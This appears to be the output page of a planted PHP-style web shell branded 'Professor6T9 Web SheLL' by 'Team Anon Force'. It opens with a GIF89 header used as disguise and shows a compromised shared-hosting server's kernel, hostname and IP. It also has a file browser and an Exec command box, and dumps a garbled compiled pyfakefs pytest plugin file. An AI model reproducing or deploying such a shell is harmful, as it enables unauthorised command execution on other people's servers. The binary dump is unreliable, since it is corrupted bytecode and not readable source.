GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux host69.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
Apache
68.65.123.79
/
proc
/
self
/
root
/
opt
/
cloudlinux
/
venv
/
lib
/
python3.11
/
site-packages
/
pyfakefs
/
__pycache__
[ HOME ]
Exec
Submit
pytest_plugin.cpython-311.pyc
� �|oi� � � � d Z ddlZddlZddlZddlmZ ddlmZmZ ddlm Z n # e $ r dZ Y nw xY wej � e� � ej � e� � ej � e� � e �ej � e � � ej d� � � Z ej d�� � d � � � Z ej d �� � d� � � Z ej d�� � d � � � Z ej d�� � d� � � Z ej dd�� � d� � � Z ej d�� � d� � � ZdS )z�A pytest plugin for using pyfakefs as a fixture When pyfakefs is installed, the "fs" fixture becomes available. :Usage: def my_fakefs_test(fs): fs.create_file('/var/data/xx1.txt') assert os.path.exists('/var/data/xx1.txt') � N)�capture)�Patcher�Pause)�pathlibc # �� K � t | d� � rt | j � }nt � � }|� � � |j V � |� � � dS )zFake filesystem.�paramN��hasattrr r �setUp�fs�tearDown��request�patchers �h/builddir/build/BUILD/cloudlinux-venv-1.0.10/venv/lib/python3.11/site-packages/pyfakefs/pytest_plugin.pyr r sd � � � � �w�� � � ��7�=�)����)�)���M�M�O�O�O� �*������������ �class)�scopec # �� K � t | d� � rt | j � }nt � � }|� � � |j V � |� � � dS )z%Class-scoped fake filesystem fixture.r Nr r s r �fs_classr - �d � � � � �w�� � � ��7�=�)����)�)���M�M�O�O�O� �*�����������r �modulec # �� K � t | d� � rt | j � }nt � � }|� � � |j V � |� � � dS )z&Module-scoped fake filesystem fixture.r Nr r s r � fs_moduler 9 r r �sessionc # �� K � t | d� � rt | j � }nt � � }|� � � |j V � |� � � dS )z'Session-scoped fake filesystem fixture.r Nr r s r � fs_sessionr E r r T)�tryfirstc �, � t j � � dS )zCMake sure that the cache is cleared before the final test shutdown.N)r �clear_fs_cache)r � exitstatuss r �pytest_sessionfinishr"